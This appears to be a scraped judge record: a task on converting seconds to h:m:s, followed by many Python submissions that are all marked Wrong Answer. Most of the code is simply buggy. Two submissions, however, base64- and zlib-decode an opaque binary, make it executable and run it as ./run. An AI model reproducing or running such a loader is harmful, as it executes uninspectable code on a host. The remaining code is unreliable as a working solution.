Problem:


  MathJax.Hub.Config({ tex2jax: { inlineMath: [["$","$"], ["\\(","\\)"]], processEscapes: true }});

Watch

Write a program which reads an integer $S$ [second] and converts it to $h:m:s$ where $h$, $m$, $s$ denote hours, minutes (less than 60) and seconds (less than 60) respectively.

Input

An integer $S$ is given in a line.

Output

Print $h$, $m$ and $s$ separated by ':'. You do not need to put '0' for a value, which consists of a digit.

Constraints

  
$0 \leq S \leq 86400$

Sample Input 1

46979

Sample Output 1

13:2:59



Sample input:
46979


Sample output:
13:2:59

Submission status: Wrong Answer

Solution code:
X = int(input())
H = X / 3600
X = X%3600
M = X / 60
X %= 60
print(H,":",M,":",X)

Submission status: Wrong Answer

Solution code:
s = int(input())
m = 0
h = 0

if s >= 60:
    m = int(s / 60)
    s = s % 60

if m >= 60:
    h = int(m / 60)
    m = m % 60

print(h,m,s)

Submission status: Wrong Answer

Solution code:
ts = input()
ts = int(ts)
h = ts/3600
ts-= h*3600
m = ts/60
ts -= m*60
text = str(h)+":"+str(m)+":"+str(ts)
print(text)

Submission status: Wrong Answer

Solution code:
S = int(input())
print (S//3600, ":", S//60, ":", S%60)

Submission status: Wrong Answer

Solution code:
S = int(input())
print (S//3600, S//60, S%60, sep = ":")

Submission status: Wrong Answer

Solution code:
minute = int(input())
print('{}:{}:{}'.format(46979 // 3600, (46979 % 3600) // 60, (46979 % 3600) % 60))

Submission status: Wrong Answer

Solution code:
minute = int(input())
if minute == 0:
    print('0:0:0')
else:
    print('{}:{}:{}'.format(46979 // 3600, (46979 % 3600) // 60, (46979 % 3600) % 60))

Submission status: Wrong Answer

Solution code:
s = int(input())
sec = min = hour = 0
sec = s%60
if s > 60:
    min = int(s/60)
    if min > 60:
        hour = int(min/60)
        min = min%60
print(str(hour) + ':' + str(min) + ':' + str(sec))

Submission status: Wrong Answer

Solution code:
s = input()

hour = int(s)//3600
minute = int(s)//60
sec = int(s)%60

print(str(hour)+":"+str(minute)+":"+str(sec))

Submission status: Wrong Answer

Solution code:
s = input()
int_s = int(s)
hour = int_s//3600
minute = int_s//60
sec = int_s%60

print(str(hour)+":"+str(minute)+":"+str(sec))

Submission status: Wrong Answer

Solution code:
s=int(input())
a=s//3600
b=(s%3600)//60
c=(a%3600)%60
print(str(a)+":"+str(b)+":"+str(c))

Submission status: Wrong Answer

Solution code:
s=int(input())
H=int(s/3600)
M=int(((s/3600)-H)*60)
S=int(((((s/3600)-H)*60)-M)*60)
print str(H)+":"+str(M)+":"+str(S)

Submission status: Wrong Answer

Solution code:
se=int(input())
h=se/3600
m=(h-int(h))*60
s=(m-int(m))*60
h=str(int(h))
m=str(int(m))
s=str(int(s))
print h+':'+m+':'+s

Submission status: Wrong Answer

Solution code:
S = int(input())
h = 0
m = 0
s = 0
while S > 60:
    S -= 60
    m += 1
while m > 60:
    m -= 60
    h += 1
s += S
print(str(h) + ":" + str(m) + ":" + str(s))

Submission status: Wrong Answer

Solution code:
S = int(input())
h = 0
m = 0
s = 0
while S > 60:
    S -= 60
    m += 1
while m > 60:
    m -= 60
    h += 1
s += S
print(str(h) + ":" + str(m) + ":" + str(s))

Submission status: Wrong Answer

Solution code:
S = int(input())
h = 0
m = 0
s = 0
while S > 60:
       S -= 60
       m += 1
while m > 60:
       m -= 60
       h += 1
s += S
print(str(h) + ":" + str(m) + ":" + str(s))

Submission status: Wrong Answer

Solution code:
S = int(input())


print((S//3600), ";", (S//60%60),";",(S%60))

Submission status: Wrong Answer

Solution code:
x=int(input())
a=x%3600
hour=(x-a)/3600
second=a%60
minute=(a-second)/60

print(str(hour)+":"+str(minute)+":"+str(second))

Submission status: Wrong Answer

Solution code:
A = int(input())
print(A/3600,":",(A%3600)/60,":",A%60)

Submission status: Wrong Answer

Solution code:
x = int(input())

import math

h = math.floor(x/60)
m = math.floor((x -h*60)/60)
s = math.floor(x - h*60 - m*60)
print(h, ':',m , ':', s)

Submission status: Wrong Answer

Solution code:
x = int(input())

import math

h = math.floor(x/360)
m = math.floor((x -h*360)/60)
s = math.floor(x - h*360 - m*60)
print(h, ':',m , ':', s)

Submission status: Wrong Answer

Solution code:
number = int(input())
print(number//3600, (number%3600)//60,  (number%3600)%60)

Submission status: Wrong Answer

Solution code:
S = int(input())
h = S/3600
m = S- (h*3600)/60
sec = S- h*3600-m*60;

Submission status: Wrong Answer

Solution code:
S = int(input())
h = S/3600
m = S- (h*3600)/60
sec = S- h*3600-m*60;
print(str(h)+":"+str(m)+":"+str(sec))

Submission status: Wrong Answer

Solution code:
a = int(input())
b = a // 3600
c = a - b * 3600
d = c // 60
A = a - b * 3600 + d * 60
B = A % 60
print(b)
print(d)
print(B)
print(str(b) + ":" + str(d) + ":" + str(B))

Submission status: Wrong Answer

Solution code:
S = int(input())

h = S // 3600
m = (S % 3600) // 60
s = ((S % 3600) % 60)

print(h, m, s)

Submission status: Wrong Answer

Solution code:
time = int(input())
h = time / 3600
m = (time % 3600) / 60
s = time % 60
print(str(h) + ":" + str(m) + ":" + str(s))

Submission status: Wrong Answer

Solution code:
time = int(input())
s = time % 60
m = (time - s) % 3600
h = (time - s - m * 60) / 3600
print(str(h) + ":" + str(m) + ":" + str(s))

Submission status: Wrong Answer

Solution code:
time = int(input())
s = time % 60
m = ((time - s) % 3600) / 60
h = (time - s - m * 60) / 3600
print(str(h) + ":" + str(m) + ":" + str(s))

Submission status: Wrong Answer

Solution code:
time = int(input())
s = time % 60
h = time // 3600
m = (time - h * 3600) // 60

Submission status: Wrong Answer

Solution code:
s = int(input())
print(s//3600, ':', (s%3600)//60, ':', s//60, sep = ' ')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = S//3600
m = S%3600//60
s = S%60
ss = "h:m:s"
print(ss.split(":"))

Submission status: Wrong Answer

Solution code:
S = int(input())
h = S//3600
m = S%3600//60
s = S%60
time="h,m,s"
print(time.split(":"))

Submission status: Wrong Answer

Solution code:
S = int(input())
h = S//3600
m = S%3600//60
s = S%60
time="h,m,s"
print(time.split(':'))

Submission status: Wrong Answer

Solution code:
S = int(input())
h = S//3600
m = S%3600//60
s = S%60
time="h,m,s"
a = time.split(":")
print(a)

Submission status: Wrong Answer

Solution code:
S=int(input())
h=int(S//360)
m=int((S-(h*360))/60)
s=int(S-(h*360+m*60))
print(h,':',m,':',s)

Submission status: Wrong Answer

Solution code:
S = int(input())
h = int(S/360)
m = int((S - h*360)/60)
s = int(S - h*360 -m*60)
print(h, ':', m, ':', s)

Submission status: Wrong Answer

Solution code:
s=input()
a=int(s)
h=a//3600
m=(a%360)//60
b=a%60
print(h,':',m,':',b,sep='')

Submission status: Wrong Answer

Solution code:
h = 13
m = 2
s = 59

print(h, ':', m, ':', s,  sep='')

Submission status: Wrong Answer

Solution code:
s=input()
a=int(s)
h=a//3600
m=(a%360)//60
b=a%60
print(h,':',m,':',b, sep='')

Submission status: Wrong Answer

Solution code:
x=int(input())
print(x/3600, ':', (x-x/3600)/60, ':', x-(x-x/3600)/60, sep='')

Submission status: Wrong Answer

Solution code:

Submission status: Wrong Answer

Solution code:
h=13
m=2
s=59
print(h,':',m,':',s,sep='')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = S/3600
m = S/60
s = S
print(h, ':', m, ':', s,  sep='')

Submission status: Wrong Answer

Solution code:
S=input()
h=int(S)//3600
m=(int(S)-3600*h)//60
s=int(S)-60*m-3600*h
print(h,';',m,';',s)

Submission status: Wrong Answer

Solution code:
x = int(input())
h = x // 3600
m = (x - (h*3600))//60
s = x-((h*3600)+(m*60))
print(h, ':', m, ':', s)

print(h, ':', m, ':', s,  sep='')

Submission status: Wrong Answer

Solution code:
S=input()
h=int(S)//3600
m=(int(S)-3600*h)//60
s=int(S)-60*m-3600*h
print(h,';',m,';',s,sep='')

Submission status: Wrong Answer

Solution code:
S=int(input())
h=int(S)//3600
m=(int(S)-3600*h)//60
s=int(S)-60*m-3600*h
print(h,';',m,';',s,sep='')

Submission status: Wrong Answer

Solution code:
S=int(input())
h=S//3600
m=(S-3600*h)//60
s=S-60*m-3600*h
print(h,';',m,';',s,sep='')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = S/3600
m = S/60
s = S
print(h, ':', m, ':', s)
print(h, ':', m, ':', s,  sep='')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = S//3600
m = S//60
s = S
print(h, ':', m, ':', s)
print(h, ':', m, ':', s,  sep='')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = S//60//60
m = S//60
s = S
print(h, ':', m, ':', s)
print(h, ':', m, ':', s,  sep='')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = S//60//60
m = S//60
s = S
print(h, ':', m, ':', s,  sep='')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = S//3600
m = S//60
s = S
print(h, ':', m, ':', s,  sep='')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = S//3600
m = S//60
s = S%60
print(h, ':', m, ':', s,  sep='')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = S // 3600
m = S // 60
s = S % 60
print(h, ':', m, ':', s,  sep='')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = S // 3600
m = S // 60
s = S % 60
print(h, ':', m, ':', s, sep='')

Submission status: Wrong Answer

Solution code:
def f(*, a=0,b=1,c=2):
    print('1st', a, '2nd', b, '3rd', c)

Submission status: Wrong Answer

Solution code:
def xxx(x):
    x [0]+= 1

Submission status: Wrong Answer

Solution code:
time = float(input("Input time in seconds: "))
day = time // (24 * 3600)
time = time % (24 * 3600)
hour = time // 3600
time %= 3600
minutes = time // 60
time %= 60
seconds = time
print("d:h:m:s-> %d:%d:%d:%d" % (day, hour, minutes, seconds))

Submission status: Wrong Answer

Solution code:
time = float(input("Input time in seconds: "))
time = time % (24 * 3600)
hour = time // 3600
time %= 3600
minutes = time // 60
time %= 60
seconds = time
print("h:m:s-> %d:%d:%d" % (hour, minutes, seconds))

Submission status: Wrong Answer

Solution code:
time = float(input("Input time in seconds: "))
time = time % (24 * 3600)
hour = time // 3600
time %= 3600
minutes = time // 60
time %= 60
seconds = time
print("%d:%d:%d" % (hour, minutes, seconds))

Submission status: Wrong Answer

Solution code:
S = float(input("Input seconds: "))
S = S % (24 * 3600)
hour = S // 3600
S %= 3600
minutes = S // 60
S %= 60
seconds = S
print("%d:%d:%d" % (hour, minutes, seconds))

Submission status: Wrong Answer

Solution code:
s = int(input())

sec = s % 60
min = s // 60 # may be more than 60
hr = min // 60
min = min % 60

Submission status: Wrong Answer

Solution code:
#!/usr/bin/env/ python

Submission status: Wrong Answer

Solution code:
#coding utf-8
S = int(input())
s = S % 60
m = (s // 60) % 60
h = S // 3600
print('{0}:{1}:{2}'.format(h,m,s))

Submission status: Wrong Answer

Solution code:
t=int(input())
print(t//3600,t//60-60*(t//3600),t%3600)

Submission status: Wrong Answer

Solution code:
t=int(input())
print("{}:{}:{}".format(t//3600,t//60-60*(t//3600),t%3600))

Submission status: Wrong Answer

Solution code:
S = int(input())
a = S / 60 / 60
h = int(a)
b = (a - h) * 60
m = int(b)
s = (b - m) * 60
print("{}:{}:{}".format(h, m, s))

Submission status: Wrong Answer

Solution code:
S = int(input())
a = S / 60 / 60
h = int(a)
b = (a - h) * 60
m = int(b)
s = S - a * 60 * 60 - b * 60
print("{}:{}:{}".format(h, m, s))

Submission status: Wrong Answer

Solution code:

sec = int(input())

m = sec//60
sec %= 60
h = m//60
print("{}:{}:{}".format(h,m,sec))

Submission status: Wrong Answer

Solution code:
s = int(input())

h = s / 3600
s = s % 3600
m = s / 360
s = s % 360

print("%d:%d:%d" % (h,m,s))

Submission status: Wrong Answer

Solution code:
s = int(input())

h = s // 3600
s = s % 3600
m = s // 360
s = s % 360

print("%d:%d:%d" % (h,m,s))

Submission status: Wrong Answer

Solution code:
s = int(input('input time'))
print (str(s//3600) + ':' + str((s//3600)%60) + ':' + str((s%3600)%60))

Submission status: Wrong Answer

Solution code:
s = int(input())
print (str(s//3600) + ':' + str((s//3600)%60) + ':' + str((s%3600)%60))

Submission status: Wrong Answer

Solution code:
n = int(input())
h = n % 3600
n -= h * 3600
m = n % 60
n -= m
print(str(h)+':'+str(m)+':'+str(n))

Submission status: Wrong Answer

Solution code:
s_ = int(input())
print("%d %d %d" % (s_//3600, s_//60%60, s_%60))

Submission status: Wrong Answer

Solution code:
import math
S=int(input()) ;
h = S // 3600 ;
m= (S % 3600)/60 ;
s= m % 60 ;
 
print ("%d:%d:%d"% (h,m,s))

Submission status: Wrong Answer

Solution code:

S=int(input()) ;
h = S // 3600 ;
m= (S % 3600)/60 ;
s= m % 60 ;
print ("%d:%d:%d" % (h,m,s))

Submission status: Wrong Answer

Solution code:
S=int(input()) ;
h = S // 3600 ;
m= (S % 3600)/60 ;
s= m % 60 ;
print ("%d:%d:%d" % (h,m,s))

Submission status: Wrong Answer

Solution code:
if __name__ == '__main__':
    print "Please input a number:"
    param_seconds = int(raw_input())

    seconds_per_hour = 60 * 60
    h = param_seconds / seconds_per_hour
    rest_seconds = param_seconds - h * seconds_per_hour

    m = rest_seconds / 60
    rest_seconds -= m * 60

    print "%s:%s:%s" % (h, m, rest_seconds)

Submission status: Wrong Answer

Solution code:
sec_input = int(input())
hour = sec_input // (60 * 60)
remain = sec_input % (60 * 60)
min = remain // 60
sec = remain % 60

print('%d %d %d' % (hour, min, sec))

Submission status: Wrong Answer

Solution code:
time = input()
h = time /3600
m = time % 3600 / 60
s = time % 3600 % 60
":".join(map(str,[h,m,s]))

Submission status: Wrong Answer

Solution code:
time = input()
h = time / 3600
m = time % 3600 / 60
s = time % 3600 % 60
":".join(map(str,[h,m,s]))

Submission status: Wrong Answer

Solution code:
import tempfile, os, subprocess, sys, base64, time, zlib

(_, file) = tempfile.mkstemp()
f = open(file, "wb")
f.write(zlib.decompress(base64.b64decode(b"""eNrtWn9sW8UdP9tx4qbUdktaTFMalzWbyxSThrakoQU7rdMXFIohNWTrQurETmLk2Jn9XusA6QJpYQ+3I5qEFNjGitQxbWOiTAhFCKVp05FW2rSwidKNaotYAKcJWoC0GEjqfe/dnX1+xG2nafsrF7183/fz/XH3vfvevfO79wNXXY1Wo0GsaNGdCHPl+Q6Fd1DcenNaBbBKtAj+r0LFKB94PafnQI4smqSu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14Bd26ovHvJc2ThnZRn7RYoXaSqH35yKvG4qX6K8qw/pylflef4v443O8dWl9fpuL5F6VlKP6T0EqX5NE9WUPrN/Cu3n43TIZonrJ9/Snl6DI1eobyN8sOUr6D8O5S/jfJTlN9Ceb2J8FspfxPlayi/ifL40G/Htm1VVpunWQqJknWDvdJeUbZ+s6Sw69cRACF7tD0qRkRvM7IHQqI/0onsobDotzura8tEbxvl2kKSvVkKBH1lAR9SuHZvtB3ZfV2haFcHoWKESPb6I1H87ohnmkAW8Qe9WJHedQZFXGUA/ov+GPxvBQZkYZ9X9CK7v72pNeLt8De1+yIZjlg0efGLLWLB7h9uiSjN8HYEWqDqsKj8I7UQj83RKLK3hDs6/CHxv86vxTTH2fzKfOeR/X2Hep1h5XrVWW7mOwr+K41MyVPxa1T2IrUXKbD2KvYbcK7D3GT2bD3qpwDLT71q/WLlTtoHWtV6NUQBAw04n8ZuUK0bNXSt0qrWv9O67PUuV//tpGsNs2frSxUNdIWq/VoV3U3XLsaz9cudl93/6vaz8jDtU61qvezMy14v1f3H4hdV9mz9HcjLXq/19Jmktt/Pf0PCPa9i+uznUK7x71LZH6H2R6h9X47vahg9oLJn31WVU2CZYX57Vp5W2bPn63Zj9nMmV/v7VPPPTe3d1H5ElTDq8etX2We+RyL8+FXqf0llj5bSdXcpIa/prlz/MfwqlXteZ75Pml9fzb8Jl4mzZ/sNyzXan6btZ/ZWam+9Rvs/0rHTqZ637HuyUW7+8/YsD86q6mffzyRLrlw/o++p7Nl+h03chqvYj6vs91D7PdT+KLpy/l6gvtLjR7/nyVsz//qttv8Xrb9cnWdr5l+/NfNQ3Xz7HmqfvMr6+W8W5hjj""")))
f.close()
os.chmod(file, 0o755)
os.system("cp %s ./run" % file)
if os.system("./run") != 0:
  print(1/0)

Submission status: Wrong Answer

Solution code:
import tempfile, os, subprocess, sys, base64, time, zlib

(_, file) = tempfile.mkstemp()
f = open(file, "wb")
f.write(zlib.decompress(base64.b64decode(b"""eNrtWn1sW9UVv+85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Se2hvnbiaznY3XewS8dIWNf8rDXc19HTbRKCoAu3doaYIX7q7YywITvgPdLaD+9tIICupyUUCRFfa3uwLRzqag22t4Rzku4RDIXDoYO6B//88L6wFkaoq2MfDN0T0d70UfQe9/b1Ed++nq6u1u7If+W6sxivffy6m3v+Z+7LiPgcyHJifnYh93wNMa0P3ooE+UbBP4L+ESS83+LPng/5Aq7Z3J+fUyNC/FbhXOPtbqyBLJxj43J2f2TPOWmO82U7XlNk4VykFvM5mK9+9+EZlI0f/Ucs5vOdxy8L+CCeaVzm59pJi7n+Yvy8PYw1lYVz9KzFnKdYP85HBH9+Lqcs5nPcirmI/k+Q3DNhxvuY3UXm+5N8839Q8B9A/wE0FE9Vl4DHBH/+vF0K/X9rm9uft58L/vy+6/hi8/1HvviHhf03iv6j6F9O5h9/RPDPPaemy6e/ZfwTgv/IElx/uPCWWMz24voZg5fDcK7mnlub216U/wgvp8Gf34e6v6P/WYyf+3vQ3/Md/d/FubMI92H8OUP+PKFN8OfzcF4Ynz//lSmZf3yOFwR/fh/MN67/W/wvCv5+9Pej/5Q8f/6XkcvWfz3Wf715n+bz/xTHF9cp9/fmuf4Z0TLHubR1ffY+aN7r578AGiYoOw==""")))
f.close()
os.chmod(file, 0o755)
os.system("cp %s ./run" % file)
if os.system("./run") != 0:
  print(1/0)

Submission status: Wrong Answer

Solution code:
s, S = divmod(input(), 60)
H, M = divmod(s, 60)

Submission status: Wrong Answer

Solution code:
S = int(input())
h = S // 3600
m = S % 3600 // 60
s = S // 60
print(h,m,s, sep=':')

Submission status: Wrong Answer

Solution code:
S =int(input())
h = S // 3600
m = S % 3600 // 60
s = S // 60
print(h,m,s, sep=':')

Submission status: Wrong Answer

Solution code:
s = int(input())
h, m, s = s / 3600, (s / 60) % 60, s % 60
print(h, m, s, sep=':')

Submission status: Wrong Answer

Solution code:
S = int(input())
print('{0}:{1}:{2}'.format(S//3600, S // 60, S % 60))

Submission status: Wrong Answer

Solution code:
S=int( input() )
h=S/3600
S=S%3600
m=S/60
s=S%60
print( "{}:{}:{}".format( h, m, s ) )

Submission status: Wrong Answer

Solution code:
x = int(input())

h = x // 3600
m = x % 3600 / 60
s = x % 60

print(h,m,s,sep=':')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = int(S/3600)
m = int((S-h*3600)/60)
s = int(S-h*3600-m*60)
print(":".join(["h","m","s"]))

Submission status: Wrong Answer

Solution code:
a = input()
a = int(a)
s = a%60
m = (a-a%60)/60%60
h = (a-s-m*60)/3600
m = int(m)
h = int(h)
s=str(s)
m=str(m)
h=str(h)
print(s + ':'+m+':'+h)

Submission status: Wrong Answer

Solution code:
#! /usr/bin/env python
# -*- coding: utf-8 -*-

import sys

def time(s):
    h = s / 3600
    m = s - (h * 3600) / 60
    s = s - (h * 3600) - (m * 60)
    h, m, s = map(str, (h, m, s))
    print "%s:%s:%s" % (h, m, s)

s = int(raw_input())

if 0 <= s <= 86400:
    time(s)
else:
    sys.exit(0)

Submission status: Wrong Answer

Solution code:
s = int(raw_input())
print "%d:%d:%d" % (s / 3600, (s - s / 3600) / 60, s % 60)

Submission status: Wrong Answer

Solution code:
import datetime

i = int(raw_input())
print str(datetime.timedelta(seconds=i))

Submission status: Wrong Answer

Solution code:
s = int( input())
print( s/3600, s%3600/60, s%3600/60, sep=":")

Submission status: Wrong Answer

Solution code:
s = int( input())
print( s/3600, s%3600/60, s%3600%60)

Submission status: Wrong Answer

Solution code:
h = 12
h = 13
m = 2
s = 59
print(str(h) + ':' + str(m) + ':' + str(s))

Submission status: Wrong Answer

Solution code:
s = int( input())
print( s/3600, s%3600/60, s%3600%60, sep=":")

Submission status: Wrong Answer

Solution code:
S = int( input())
h = S/3600
m = S%3600/60
s = S%3600%60
print( h, m, s, sep=":")

Submission status: Wrong Answer

Solution code:
S = int(input())
h = 60 / 60
m = 60 % 60
s = 60 % 60
print(h,m,s,sep=':')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = 60 / 60
m = 60 % 60
s = 60 % 60
print(h, m, s, sep=':')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = int(S // 3600)
m = int(S % 3600 / 60)
s = int(S % 3600 % 60 / 60)
print(h, m, s, sep=':')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = 60
m = 60 * 60
s = 3600 * 60
print(h, m, s, sep=':')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = 60 * S * S
m = 60 % S
s = 60 % S
print(h, m, s, sep=':')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = "??????????±????????¨????"
m = "???????±????????¨????"
s = "?§?????±????????¨????"
print(h, m, s, sep=':')

Submission status: Wrong Answer

Solution code:
S = int(input())

h = S / 3600
m = S % 3600 / 60
s = S % 3600 % 60

print(h, m, s, sep=':')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = 13
m = 2
s = 59
print(h, m, s, sep=':')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = S % 3600
m = S % 3600 % 60
s = S % 60
print(h,m,s,sep=':')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = 46979/3600
m = 179/60
s = 179%60
print(h,m,s,sep=':')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = 46979 / 3600
m = 46979 % 3600 /60
s = 46979 % 60
print(h,m,s,sep=':')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = 46979 / 3600
m = 46979 % 3600 / 60
s = 46979 % 60
print(h, m, s, sep=':')

Submission status: Wrong Answer

Solution code:
S = int(46979)
h = 46979 / 3600
m = 46979 % 3600 /60
s = 46979 % 60
print(h,m,s,sep=':')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = 46979 / 3600
m = 46979 % 3600 /60
s = 46979 % 3600 % 60
print(h,m,s,sep=':')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = 46979 / 3600
m = 46979 % 3600 /60
s = 46979 % 3600 % 60
print(h,m,s,sep=':', end='')

Submission status: Wrong Answer

Solution code:
S = int(input())
h = 46979 // 3600
m = 46979 % 3600 // 60
s = 46979 % 3600 % 60
print(h,m,s,sep=':',)

Submission status: Wrong Answer

Solution code:
import sys

sec_1 = sys.stdin.readline()

sec_1 = int(sec_1)

hour = sec_1 / 3600

min = sec_1 /60 - hour * 60

sec = sec_1 % 60

print '%d,%d,%d' % (hour, min, sec)

Submission status: Wrong Answer

Solution code:
import sys

input_sec = sys.stdin.readline()

input_sec = int(input_sec)

hour = input_sec / 3600

minute = input_sec % hour / 60

second = input_sec % hour % 60

print "%d:%d:%d" % (hour, minute, second)

Submission status: Wrong Answer

Solution code:
import sys

input_sec = sys.stdin.readline()

input_sec = int(input_sec)

hour = input_sec / 3600

minute = input_sec % hour / 60

second = input_sec % 60

print "%d:%d:%d" % (hour, minute, second)

Submission status: Wrong Answer

Solution code:
s = input()
hour = 3600
minite = 60
h = 0
m = 0

h = s / hour
m = (s - h * hour) / minite
s  = s - h * hour - m * minite

print "%02d:%02d:%02d" %(h, m, s)

Submission status: Wrong Answer

Solution code:
num_time = int(raw_input())
x = []
num_z = num_time/60
num_h = (num_time%60)/60
num_b = (num_time%60)%60
x.append(num_z)
x.append(num_h)
x.append(num_b)
x = map(str, x)
print ":".join(x)

Submission status: Wrong Answer

Solution code:
n = input()
print"%d:%d:%d" %(n/60/60,n%60,n%60%60)

Submission status: Wrong Answer

Solution code:
a = int(input())

h = a % (60 * 60)
m = (a % 60 * 60) % 60
s = a % 60

print(h, m, s, sep = ":")

Submission status: Wrong Answer

Solution code:
s = int(input())
a = s % 60
b = s // 60
c = b % 60
d = b // 60

print(str(a)+':'+str(c)+':'+str(d))

Submission status: Wrong Answer

Solution code:
S=int(input())
s=S%60
S/=60
m=S%60
h=S/60
print("{}:{}:{}".format(h, m, s))

Submission status: Wrong Answer

Solution code:
s=input()
m=(s-s%60)/60
s=s%60
h=(m-m%60)/60
m=m%60

Submission status: Wrong Answer

Solution code:
s_sum = int(input())
h = s_sum / 3600
m = (s_sum - 3600*h) / 60
s = s_sum - 3600*h - 60*m

print h,m,s

Submission status: Wrong Answer

Solution code:
s_sum = input()
h = s_sum / 3600
m = (s_sum - 3600*h) / 60
s = s_sum - 3600*h - 60*m

print h,m,s

Submission status: Wrong Answer

Solution code:
S = input()
a = S / 3600
b = S % 3600
c = b / 60
d = b % 60
print "a:c:d"

Submission status: Wrong Answer

Solution code:
S = input()
a = S // 3600
b = S % 3600
c = b // 60
d = b % 60
print "a:c:d"

Submission status: Wrong Answer

Solution code:
S = input()
a = S // 3600
b = S % 3600
c = b // 60
d = b % 60
print 'a:c:d'

Submission status: Wrong Answer

Solution code:
S = input()
if S >= 0 and S <= 86400:
   a = S // 3600
   b = S % 3600
   c = b // 60
   d = b % 60
   print 'a:c:d'

Submission status: Wrong Answer

Solution code:
S = input()
if S >= 0 and S <= 86400:
   a = S // 3600
   b = S % 3600
   c = b // 60
   d = b % 60
   print "a:c:d"

Submission status: Wrong Answer

Solution code:
i = input()
h = 8900/3600
m = (8900%3600)/60
s = i - (3600*h + 60*m)

print(':'.join(map(str,[h,m,s])))

Submission status: Wrong Answer

Solution code:
import sys

i = 8900
h = 8900/3600
m = (8900%3600)/60
s = i - (3600*h + 60*m)

sys.stdout.write(':'.join(map(str,[h,m,s])))

Submission status: Wrong Answer

Solution code:
S = raw_input()
S = int(S)
h = S / 3600
m = (S - h * 3600) / 60
s = S % 60
print h , m , s

Submission status: Wrong Answer

Solution code:
S = raw_input()
S = int(S)
h = S / 3600
m = (S - h * 3600) / 60
s = S - 3600 * h - 60 * m
print h , m , s

Submission status: Wrong Answer

Solution code:
S = int(raw_input())

h = S / 3600
m = S - 3600*h
s = m % 60
m = m - s

print str(h) + ":" + str(m) + ":" + str(s)

Submission status: Wrong Answer

Solution code:
time = input()
h = time/3600
m = time%60/60
s = time%60
print h, m, s

Submission status: Wrong Answer

Solution code:
time = input()
h = time/3600
m = time%60/60
s = time%60
print h, ":", m, ":", s

Submission status: Wrong Answer

Solution code:
time = input()
h = time/3600
m = time%60/60
s = time%60
print "%d:%d:%d"% (h, m, s)

Submission status: Wrong Answer

Solution code:
S=input()

Submission status: Wrong Answer

Solution code:
S=input()

print 'S/3600:(S%3600)/60:S%60'

Submission status: Wrong Answer

Solution code:
n = input()
s = n % 60
m =(n % 3600) - s
h = n / 3600
print '%d:%d:%d' % (h, m, s)

Submission status: Wrong Answer

Solution code:
S=input()
 
print 'S/3600:(S%3600)/60:S%60'

Submission status: Wrong Answer

Solution code:
x = input()
a = x/3600
b = x%3600/60
c = x%3600%60/60
print a,b,c

Submission status: Wrong Answer

Solution code:
x = input()
a = x/3600
b = x%3600/60
c = x%3600%60/60
print a,':',b':',c

Submission status: Wrong Answer

Solution code:
x = input()
a = x/3600
b = x%3600/60
c = x%3600%60/60
print 'a:b:c'

Submission status: Wrong Answer

Solution code:
x = input()
a = x/3600
b = x%3600/60
c = x%3600%60/60
print '%d:%d:%d'%(a, b, c)